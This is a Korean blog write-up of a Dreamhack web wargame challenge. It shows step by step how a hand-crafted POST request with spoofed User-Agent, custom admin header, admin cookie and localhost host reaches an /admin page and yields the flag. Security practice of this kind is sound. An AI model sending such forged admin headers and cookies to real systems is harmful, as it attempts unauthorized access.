문제
문제풀이
일단, 감이 안 잡히니 코드를 보자.
코드를 보니 socket 사이트에서 host, port, data 부분을 입력해라란 뜻으로 이해한다.
해석하면 POST방식으로 위의 조건을 다 만족한 채로 요청하면, FLAG를 얻을 수 있다고 한다 !
일단, 먼저 host = 127.0.0.1, port = 8000을,
data에는 post 요청 헤더를 쓰면 되는 것을 알 수 있다.
⭐️조건⭐️
1. ip 주소가 127.0.0.1이어야 한다.
host = 127.0.0.1
2. User-Agent가 Admin Browser이어야 한다.
User-Agent : Admin Browser
3. DreamhackUser이 admin이어야 한다.
DreamhackUser : admin
4. 쿠키를 확인했을때, admin이어야 한다.
Cookie: admin = true
5. userid가 admin이어야 한다.
userid=admin
(이때, 꼭 한 줄 띄우고 써줘야 한다.)
이유 : 위에는 헤더고, 얘는 요청하는 데이터이기 때문이다..🥹
6. POST 방식으로 /admin에 전송
POST /admin HTTP/1.1
이를 통합하게 되면, 아래와 같은 요청 헤더가 나오게된다.
POST /admin HTTP/1.1
Host: host2.dreamhack.games
User-Agent: Admin Browser
DreamhackUser: admin
Cookie: admin = true
userid=admin
하지만, 이렇게 넣으면 계속 Admin Browser이 아니라고 뜬다.
그래서 몇번 삽질한 결과,
Content-Length: 12
Content-Type: application/x-www-form-urlencoded
이 두줄을 추가하니 FLAG가 나왔다.
POST /admin HTTP/1.1
Host: host2.dreamhack.games
Content-Length: 12
Content-Type: application/x-www-form-urlencoded
User-Agent: Admin Browser
DreamhackUser: admin
Cookie: admin = true
userid=admin
위의 내용을 넣어서 보내면
이렇게 나온다 🙂 성공 !
'Wargame > Web' 카테고리의 다른 글
[Dreamhack] image-storage (0) | 2022.06.13 |
---|---|
[Dreamhack] command-injection-1 (0) | 2022.06.09 |
[XSS-GAME] Level6 (0) | 2022.06.03 |
[XSS-GAME] Level5 (0) | 2022.06.02 |
[XSS-GAME] Level4 (0) | 2022.06.02 |
댓글